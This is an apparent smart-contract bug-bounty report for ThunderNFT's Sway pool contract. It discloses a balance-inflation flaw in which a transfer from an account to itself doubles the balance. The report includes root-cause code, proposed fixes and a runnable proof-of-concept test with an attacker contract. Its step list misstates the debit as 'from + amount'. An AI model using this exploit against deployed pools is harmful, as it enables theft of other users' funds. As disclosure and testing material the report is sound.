IOP _ ThunderNFT 34659 - [Smart Contract - Low] Pool Balance Inflation

Pool Balance Inflation

Submitted on Mon Aug 19 2024 23:04:18 GMT-0400 (Atlantic Standard Time) by @Blockian for IOP | ThunderNFT

Report ID: #34659

Report type: Smart Contract

Report severity: Low

Target: https://github.com/ThunderFuel/smart-contracts/tree/main/contracts-v1/pool

Impacts:

• Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Description

Thunder Exchange

Pool Balance Inflation

Description

A issue exists where pool balances can be artificially inflated without any additional deposits. This flaw enables malicious actors to withdraw inflated funds, effectively stealing from the pool.

Root Cause

The vulnerability stems from the current implementation of the transfer function, as shown below:

#[storage(read, write)]
fn _transfer(from: Identity, to: Identity, asset: AssetId, amount: u64) {
    // ...
    let from_balance = _balance_of(from, asset);
    let to_balance = _balance_of(to, asset);
    require(from_balance >= amount, PoolErrors::AmountHigherThanBalance);

    storage.balance_of.insert((from, asset), from_balance - amount);
    storage.balance_of.insert((to, asset), to_balance + amount);

    log(Transfer {
        from,
        to,
        asset,
        amount,
    });
}

The transfer process operates as follows:

1. Read the from balance

2. Read the to balance

3. Update the from balance to from + amount

4. Update the to balance to to + amount

However, if from and to are the same account, the update in step 3 is effectively overwritten by the update in step 4. As a result, the attacker retains their original balance plus the transferred amount.

Impact

This vulnerability allows the creation of inflated balances without corresponding funds. When a user with such an inflated balance withdraws from the pool, they can deplete the pool's reserves, leaving other users unable to withdraw their legitimate funds.

But, currently, the impact is classified as Low, since the transfer function can only be invoked by the ThunderExchange itself, which is not malicious.

Proposed fix

There are two primary solutions to address this issue:

1. Ensure that from and to are not the same account.

2. Adjust the order of operations as follows:

   1. Read the from balance

   2. Update the from balance to from + amount

   3. Read the to balance

   4. Update the to balance to to + amount

Proof of concept

Proof of Concept

There are some steps to follow:

• Create forc.toml in contracts-v1 and add the below in the forc.toml:

[workspace]
members = ["tests", "asset_manager", "erc721", "execution_manager", "execution_strategies/strategy_fixed_price_sale" ,"libraries", "interfaces" , "pool", "royalty_manager", "thunder_exchange", "test_asset", "test_user"]

• Create 3 new folder called tests, test_user, and test_asset under the contracts-v1 directory:

• In the each folder create a folder named src with a file called main.sw, and a forc.toml file. The folder tree will look like this:

contracts-v1
├── test_asset
│   ├── forc.toml
│   └── src
│       └── main.sw
├── test_user
│   ├── forc.toml
│   └── src
│       └── main.sw
├── tests
│   ├── forc.toml
│   └── src
│       └── main.sw

tests folder

In the tests folder.

• Add the below in the forc.toml:

[project]
authors = ["Blockian"]
entry = "main.sw"
license = "Apache-2.0"
name = "test_contract"

[dependencies]
standards = { git = "https://github.com/FuelLabs/sway-standards", tag = "v0.4.4" }
interfaces = { path = "../interfaces" }
libraries = { path = "../libraries" }


[contract-dependencies]

asset_manager = { path = "../asset_manager" }

thunder_exchange = { path = "../thunder_exchange" }

pool = { path = "../pool" }

execution_manager = { path = "../execution_manager" }

royalty_manager = { path = "../royalty_manager" }

strategy_fixed_price_sale = {path = "../execution_strategies/strategy_fixed_price_sale"}

test_asset = { path = "../test_asset" }

test_user = { path = "../test_user" }

• Add the below in the main.sw:

contract;

use interfaces::{
  thunder_exchange_interface::{ThunderExchange},
  royalty_manager_interface::*,
  asset_manager_interface::*,
  execution_manager_interface::ExecutionManager,
  execution_strategy_interface::*,
  pool_interface::Pool,
  test_user_interface::TestUser,
};

use libraries::{
  msg_sender_address::*,
  constants::*,
  order_types::*,
  ownable::*,
};

use standards::{src3::SRC3};

use std::{
  block::timestamp,
  auth::*,
  call_frames::*,
  context::*,
  contract_id::ContractId,
  constants::DEFAULT_SUB_ID,
  logging::log,
  revert::require,
  assert::*,
  storage::storage_map::*,
  asset::*
};

#[test()]
fn test_attack() {
  let caller = caller_address().unwrap();

  let asset_mngr = abi(AssetManager, asset_manager::CONTRACT_ID);
  let pool = abi(Pool, pool::CONTRACT_ID);
  let test_user = abi(TestUser, test_user::CONTRACT_ID);
  let test_user_identity = Identity::ContractId(ContractId::from(test_user::CONTRACT_ID));

  asset_mngr.initialize();
  test_user.initialize(ContractId::from(pool::CONTRACT_ID));
  
  // set the test user as the exchange for the pool for this test
  pool.initialize(ContractId::from(test_user::CONTRACT_ID), ContractId::from(asset_manager::CONTRACT_ID));

  // mint tokens to the user
  let example_asset = abi(SRC3, test_asset::CONTRACT_ID);
  let asset_id = AssetId::new(ContractId::from(test_asset::CONTRACT_ID), DEFAULT_SUB_ID);

  asset_mngr.add_asset(asset_id);
  example_asset.mint(test_user_identity, DEFAULT_SUB_ID, 1000); // mint 1000 tokens to the test user

  // test user deposits to pool
  test_user.deposit_to_pool_attack(asset_id, 1000);

  assert(pool.balance_of(test_user_identity, asset_id) == 2000); // inflated balance
}

test_user folder

In the test_user folder.

• Add the below in the forc.toml:

[project]
authors = ["Blockian"]
entry = "main.sw"
license = "Apache-2.0"
name = "test_user"

[dependencies]
interfaces = { path = "../interfaces" }
libraries = { path = "../libraries" }
standards = { git = "https://github.com/FuelLabs/sway-standards", tag = "v0.4.4" }

• Add the below in the main.sw:

contract;

use std::{
    address::Address,
    auth::*,
    call_frames::*,
    constants::*,
    context::*,
    contract_id::ContractId,
    hash::Hash,
    logging::log,
    identity::Identity,
    revert::*,
    asset::*,
    storage::storage_map::*,
};

use interfaces::{
    asset_manager_interface::*,
    pool_interface::*,
    test_user_interface::*,
    thunder_exchange_interface::{ThunderExchange},
};

use libraries::{
    msg_sender_address::*,
    constants::*,
    order_types::*,
};

storage {
    /// Pool contractId
    pool: Option<ContractId> = Option::None,
}

impl TestUser for Contract {
    #[storage(read, write)]
    fn initialize(pool: ContractId) {
        storage.pool.write(Option::Some(pool));
    }

    #[storage(read)]
    fn deposit_to_pool_attack(asset: AssetId, amount: u64) {
        let pool_addr = storage.pool.read().unwrap().bits();
        let pool = abi(Pool, pool_addr);
        let self_identity = Identity::ContractId(ContractId::this());

        pool.deposit{ asset_id: asset.bits(), coins: amount }();
        pool.transfer_from(self_identity, self_identity, asset, 1000);
    }
}

test_asset folder

In the test_asset folder. The test asset is simply the Fuel Team SRC3 example

• Add the below in the forc.toml:

[project]
authors = ["Blockian"]
entry = "main.sw"
license = "Apache-2.0"
name = "test_asset"

[dependencies]
standards = { git = "https://github.com/FuelLabs/sway-standards", tag = "v0.4.4" }

• Add the below in the main.sw:

contract;

use standards::{src20::SRC20, src3::SRC3};
use std::{
    asset::{
        burn,
        mint_to,
    },
    call_frames::msg_asset_id,
    context::msg_amount,
    hash::Hash,
    storage::storage_string::*,
    string::String,
};

// In this example, all assets minted from this contract have the same decimals, name, and symbol
configurable {
    /// The decimals of every asset minted by this contract.
    DECIMALS: u8 = 9u8,
    /// The name of every asset minted by this contract.
    NAME: str[12] = __to_str_array("ExampleAsset"),
    /// The symbol of every asset minted by this contract.
    SYMBOL: str[2] = __to_str_array("EA"),
}

storage {
    /// The total number of distinguishable assets this contract has minted.
    total_assets: u64 = 0,
    /// The total supply of a particular asset.
    total_supply: StorageMap<AssetId, u64> = StorageMap {},
}

impl SRC3 for Contract {
    /// Unconditionally mints new assets using the `sub_id` sub-identifier.
    ///
    /// # Arguments
    ///
    /// * `recipient`: [Identity] - The user to which the newly minted asset is transferred to.
    /// * `sub_id`: [SubId] - The sub-identifier of the newly minted asset.
    /// * `amount`: [u64] - The quantity of coins to mint.
    ///
    /// # Number of Storage Accesses
    ///
    /// * Reads: `2`
    /// * Writes: `2`
    ///
    /// # Examples
    ///
    /// ```sway
    /// use src3::SRC3;
    /// use std::constants::DEFAULT_SUB_ID;
    ///
    /// fn foo(contract_id: ContractId) {
    ///     let contract_abi = abi(SRC3, contract_id);
    ///     contract_abi.mint(Identity::ContractId(contract_id), DEFAULT_SUB_ID, 100);
    /// }
    /// ```
    #[storage(read, write)]
    fn mint(recipient: Identity, sub_id: SubId, amount: u64) {
        let asset_id = AssetId::new(ContractId::this(), sub_id);

        // If this SubId is new, increment the total number of distinguishable assets this contract has minted.
        let asset_supply = storage.total_supply.get(asset_id).try_read();
        match asset_supply {
            None => {
                storage.total_assets.write(storage.total_assets.read() + 1)
            },
            _ => {},
        }

        // Increment total supply of the asset and mint to the recipient.
        storage
            .total_supply
            .insert(asset_id, amount + asset_supply.unwrap_or(0));
        mint_to(recipient, sub_id, amount);
    }

    /// Unconditionally burns assets sent with the `sub_id` sub-identifier.
    ///
    /// # Arguments
    ///
    /// * `sub_id`: [SubId] - The sub-identifier of the asset to burn.
    /// * `amount`: [u64] - The quantity of coins to burn.
    ///
    /// # Number of Storage Accesses
    ///
    /// * Reads: `1`
    /// * Writes: `1`
    ///
    /// # Reverts
    ///
    /// * When the transaction did not include at least `amount` coins.
    /// * When the asset included in the transaction does not have the SubId `sub_id`.
    ///
    /// # Examples
    ///
    /// ```sway
    /// use src3::SRC3;
    /// use std::constants::DEFAULT_SUB_ID;
    ///
    /// fn foo(contract_id: ContractId, asset_id: AssetId) {
    ///     let contract_abi = abi(SRC3, contract_id);
    ///     contract_abi {
    ///         gas: 10000,
    ///         coins: 100,
    ///         asset_id: asset_id,
    ///     }.burn(DEFAULT_SUB_ID, 100);
    /// }
    /// ```
    #[payable]
    #[storage(read, write)]
    fn burn(sub_id: SubId, amount: u64) {
        let asset_id = AssetId::new(ContractId::this(), sub_id);
        require(msg_amount() == amount, "Incorrect amount provided");
        require(msg_asset_id() == asset_id, "Incorrect asset provided");

        // Decrement total supply of the asset and burn.
        storage
            .total_supply
            .insert(asset_id, storage.total_supply.get(asset_id).read() - amount);
        burn(sub_id, amount);
    }
}

// SRC3 extends SRC20, so this must be included
impl SRC20 for Contract {
    #[storage(read)]
    fn total_assets() -> u64 {
        storage.total_assets.read()
    }

    #[storage(read)]
    fn total_supply(asset: AssetId) -> Option<u64> {
        storage.total_supply.get(asset).try_read()
    }

    #[storage(read)]
    fn name(asset: AssetId) -> Option<String> {
        match storage.total_supply.get(asset).try_read() {
            Some(_) => Some(String::from_ascii_str(from_str_array(NAME))),
            None => None,
        }
    }

    #[storage(read)]
    fn symbol(asset: AssetId) -> Option<String> {
        match storage.total_supply.get(asset).try_read() {
            Some(_) => Some(String::from_ascii_str(from_str_array(SYMBOL))),
            None => None,
        }
    }

    #[storage(read)]
    fn decimals(asset: AssetId) -> Option<u8> {
        match storage.total_supply.get(asset).try_read() {
            Some(_) => Some(DECIMALS),
            None => None,
        }
    }
}

Interfaces

Now we need to add the test_user interface to interact with. In the interfaces/src folder, in the lib.sw add the following line:

pub mod test_user_interface;

Additionally, create a file called test_user_interface.sw in the interfaces/src folder and add the following:

library;

use libraries::{
    order_types::*,
};

abi TestUser {
    #[storage(read, write)]
    fn initialize(pool: ContractId);

    #[storage(read)]
    fn deposit_to_pool_attack(asset: AssetId, amount: u64);
}

Run it all!

Simply run forc test in smart-contracts/contracts-v1.